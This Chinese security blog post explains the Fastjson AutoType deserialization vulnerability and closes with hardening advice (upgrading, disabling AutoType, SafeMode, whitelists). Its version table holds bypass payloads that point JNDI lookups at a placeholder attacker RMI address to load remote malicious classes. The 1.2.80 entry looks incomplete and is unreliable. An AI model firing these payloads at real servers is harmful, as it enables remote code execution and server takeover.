Fastjson 反序列化漏洞深度解析:从原理到实战防护

12次阅读
没有评论

作为 Java 生态中最常用的 JSON 解析库之一,Fastjson 因高性能被广泛应用于各类系统。但它的反序列化漏洞(尤其是 CVE-2022-25845)曾多次引发大规模安全事件 —— 攻击者只需构造恶意 JSON 字符串,就能实现远程代码执行(RCE),直接控制服务器。本文将从漏洞原理切入,结合实战案例拆解各版本绕过技巧,最终给出企业级防护方案,帮你彻底规避风险。

Fastjson 反序列化漏洞深度解析:从原理到实战防护

一、Fastjson 漏洞核心原理:AutoType 机制是“罪魁祸首”

Fastjson 的反序列化漏洞本质是AutoType 机制的安全缺陷。该机制原本用于方便还原复杂对象类型,却被攻击者利用来加载恶意类,触发危险操作。

1.1 AutoType 机制的工作流程

当 Fastjson 解析含 @type 字段的 JSON 时,会按以下步骤执行:

  1. 提取类名 :从@type 字段中读取目标类全限定名(如com.sun.rowset.JdbcRowSetImpl)。
  2. 类加载 :通过ClassLoader 加载指定类,优先从缓存或配置中获取。
  3. 实例化对象:调用类的默认构造函数,或通过 setter 方法注入属性。
  4. 触发危险逻辑 :若类中存在 JNDI 查询、反射执行等危险方法(如JdbcRowSetImplsetDataSourceName),会在属性注入时自动触发,最终实现 RCE。

1.2 漏洞触发的关键链条

攻击者利用的核心是“setter 方法自动调用”和“JNDI 注入”的组合:

  • setter 触发 :Fastjson 反序列化时,会自动调用对象所有属性的 setter 方法(即使是私有属性,加Feature.SupportNonPublicField 即可触发)。
  • JNDI 注入 :像JdbcRowSetImpl 这类类,在 setDataSourceName 方法中会发起 JNDI 查询。若传入攻击者控制的 RMI/LDAP 地址,服务器会加载远程恶意类,执行恶意代码。

二、Fastjson 关键 API 实战:序列化与反序列化

在分析漏洞前,先理清 Fastjson 的核心 API 用法 —— 这是理解漏洞触发场景的基础。

2.1 依赖配置(漏洞版本与安全版本对比)

首先要明确:1.2.83 以下的 1.x 版本、2.0.45 以下的 2.x 版本均存在安全风险。实战中需避免使用漏洞版本。

<!-- 危险:1.2.24(CVE-2017-18349)、1.2.47(缓存绕过漏洞)等版本 -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.47</version> <!-- 漏洞版本,禁止使用 -->
</dependency>

<!-- 安全:1.2.x 系列推荐 1.2.83+,2.x 系列推荐 2.0.45+ -->
<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.83</version> <!-- 修复所有已知漏洞的版本 -->
</dependency>

2.2 核心 API 实战:以 User 类为例

先定义一个 User 类,在 getter/setter 中加打印语句,直观展示方法触发时机:

package org.example;

public class User {
    private String name;
    private int age;

    // 无参构造(反序列化必须,否则会报错)public User() {}

    // 有参构造
    public User(String name, int age) {
        this.name = name;
        this.age = age;
    }

    // getter:序列化时会自动调用(用于读取属性值)public String getName() {System.out.println("触发 getName():序列化读取 name");
        return name;
    }

    // setter:反序列化时会自动调用(用于注入属性值)public void setName(String name) {System.out.println("触发 setName():反序列化注入 name");
        this.name = name;
    }

    // 省略 age 的 getter/setter(逻辑同上)public int getAge() { return age;}
    public void setAge(int age) {this.age = age;}

    @Override
    public String toString() {return "User{name='" + name + "', age=" + age + "}";
    }
}

2.2.1 序列化:Java 对象转 JSON

核心方法是 JSON.toJSONString(),关键在于SerializerFeature 的配置(如 WriteClassName 会添加 @type 字段,为反序列化漏洞埋下隐患)。

public class FastjsonDemo {public static void main(String[] args) {User user = new User("张三", 25);

        // 1. 基础序列化:无 @type 字段
        String basicJson = JSON.toJSONString(user);
        System.out.println("基础序列化结果:" + basicJson);
        // 输出:触发 getName():序列化读取 name → 基础序列化结果:{"age":25,"name":"张三"}

        // 2. 带 @type 的序列化(开启 WriteClassName)String withTypeJson = JSON.toJSONString(
            user, 
            SerializerFeature.WriteClassName, // 添加 @type 字段
            SerializerFeature.PrettyFormat    // 格式化输出
        );
        System.out.println("带 @type 的序列化结果:\n" + withTypeJson);
        // 输出:触发 getName() → 带 @type 的序列化结果:// {
        //     "@type":"org.example.User",
        //     "age":25,
        //     "name":"张三"
        // }
    }
}

2.2.2 反序列化:JSON 转 Java 对象

核心方法是JSON.parseObject(),风险点集中在Feature.SupportAutoType(开启后允许解析@type)和Feature.SupportNonPublicField(允许注入私有属性)。

public class FastjsonDemo {public static void main(String[] args) {String json = "{\"@type\":\"org.example.User\",\"age\":25,\"name\":\" 张三 \"}";

        // 1. 基础反序列化:指定目标类
        User user1 = JSON.parseObject(json, User.class);
        System.out.println("基础反序列化结果:" + user1);
        // 输出:触发 setName() → 基础反序列化结果:User{name='张三', age=25}

        // 2. 开启 AutoType(高危!禁止在生产环境使用)User user2 = JSON.parseObject(
            json, 
            User.class, 
            Feature.SupportAutoType // 显式开启 AutoType,风险极高
        );
    }
}

三、各版本漏洞与绕过实战:从 1.2.24 到 1.2.80

Fastjson 官方曾多次修复漏洞,但攻击者不断找到绕过方法。下表整理了核心版本的漏洞点与实战 Payload,是漏洞检测和防护的关键参考。

影响版本 漏洞类型 核心绕过技巧 实战 Payload(关键片段) 注意事项
1.2.24 及以下 反序列化 RCE AutoType 默认开启,无黑名单 {"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} 无需额外配置,直接触发 JNDI 注入
1.2.25 ~ 1.2.41 黑名单绕过(L;) 用 JVM 类型描述符(L 开头;结尾) {"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} 需服务端开启setAutoTypeSupport(true)
1.2.42 双写 L; 绕过 双写 L 和;(LL…;;) {"@type":"LLcom.sun.rowset.JdbcRowSetImpl;;","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类","autoCommit":true} 利用单次过滤缺陷,双写后自动截取
1.2.43 [符号绕过 类名前加 [,后加 [{闭合 {"@type":"[com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"[{,"_bytecodes":["Base64 编码的恶意字节码"]} 需加 Feature.SupportNonPublicField 注入私有属性
1.2.45 MyBatis 类绕过 利用JndiDataSourceFactory {"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"rmi:// 攻击者 IP:1099/ 恶意类"}} 需项目依赖 MyBatis
1.2.47 及以下 缓存污染绕过 先缓存恶意类到_classMappings {"a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:// 攻击者 IP:1099/ 恶意类"}} 无需开启 AutoType,缓存跳过黑名单检查
1.2.80 及以下 $ref 引用链绕过 用 $ref 构造异常对象链 (CVE-2022-25845){"@type":"java.lang.Exception","@ref":"$..xx"} 利用异常处理逻辑触发类加载

关键版本绕过解析(以 1.2.47 缓存污染为例)

这是最危险的绕过方式之一 ——无需开启 AutoType,仅通过缓存机制就能绕过黑名单。核心逻辑是:

  1. 第一个 JSON 对象(a):通过 java.lang.Classval字段,将 com.sun.rowset.JdbcRowSetImpl 存入 Fastjson 的 _classMappings 缓存。
  2. 第二个 JSON 对象(b):直接用 @type 指定缓存中的类,Fastjson 会跳过黑名单检查,直接加载类并触发 JNDI 注入。

实战中,攻击者只需发送上述 JSON 字符串,目标服务器若使用 1.2.47 及以下版本,就会执行恶意代码。

四、企业级防护方案:从根源阻断漏洞

Fastjson 漏洞的防护核心是“关闭危险功能 + 及时升级 + 严格校验”,以下是可落地的 4 个关键措施:

1. 强制升级到安全版本

这是最根本的防护手段。根据官方公告:

  • 1.x 系列:升级到  1.2.83 及以上(修复所有已知绕过漏洞)。
  • 2.x 系列:升级到  2.0.45 及以上(2.x 版本重构了 AutoType 机制,安全性更高)。

2. 禁用 AutoType 机制(关键配置)

即使升级版本,也建议禁用 AutoType(非必要不开启)。有 3 种配置方式:

  • 代码配置(全局生效):java 运行// 禁用 AutoType,禁止解析 @type 字段 ParserConfig.getGlobalInstance().setAutoTypeSupport(false);
  • JVM 参数配置(启动时生效):bash-Dfastjson.autoTypeSupport=false
  • 配置文件配置 (适用于 Spring 等框架):在application.properties 中添加:propertiesfastjson.autoTypeSupport=false

3. 开启 SafeMode(彻底阻断 AutoType)

若业务无需 AutoType,建议开启 SafeMode—— 此时 Fastjson 会彻底禁用@type 解析,无论是否配置白名单,都无法加载自定义类。

// 开启 SafeMode,从根源禁用 AutoType
ParserConfig.getGlobalInstance().setSafeMode(true);

4. 白名单配置(必要时使用)

若业务必须开启 AutoType,需配置严格的白名单(仅允许指定类被解析),禁止使用通配符(如com.company.*)。

ParserConfig config = ParserConfig.getGlobalInstance();
// 添加白名单:仅允许 org.example 包下的类
config.addAccept("org.example.");
// 禁止添加黑名单(黑名单易被绕过,优先用白名单)

五、常见问题 FAQ

Q1:为什么反序列化 TemplatesImpl 需要加Feature.SupportNonPublicField

A:因为 TemplatesImpl_bytecodes(存储恶意字节码)是私有字段,Fastjson 默认不解析私有属性。加该 Feature 后,才能将 Base64 编码的恶意字节码注入到 _bytecodes 中,触发后续代码执行。

Q2:@type为什么必须放在 JSON 的第一个字段?

A:Fastjson 解析时会优先处理 @type 字段,若放在后面,可能在解析其他字段时触发异常(如类型不匹配),导致 @type 未被处理,Payload 失效。

Q3:如何快速检测项目是否使用漏洞版本的 Fastjson?

A:1. 检查 pom.xmlbuild.gradle中的依赖版本;2. 使用工具(如 Maven Dependency Plugin)查看依赖树:

mvn dependency:tree | grep fastjson

总结

Fastjson 漏洞的本质是“过度信任用户输入 ”与“AutoType 机制的安全缺陷”叠加的结果。对于开发者而言,无需深入研究每一种绕过技巧,只需牢记 3 个原则: 不使用漏洞版本、禁用 AutoType、开启 SafeMode。这些措施能从根源阻断漏洞,避免成为攻击者的目标。

正文完
 0
Fr2ed0m
版权声明:本站原创文章,由 Fr2ed0m 于2025-11-05发表,共计5992字。
转载说明:Unless otherwise specified, all articles are published by cc-4.0 protocol. Please indicate the source of reprint.
评论(没有评论)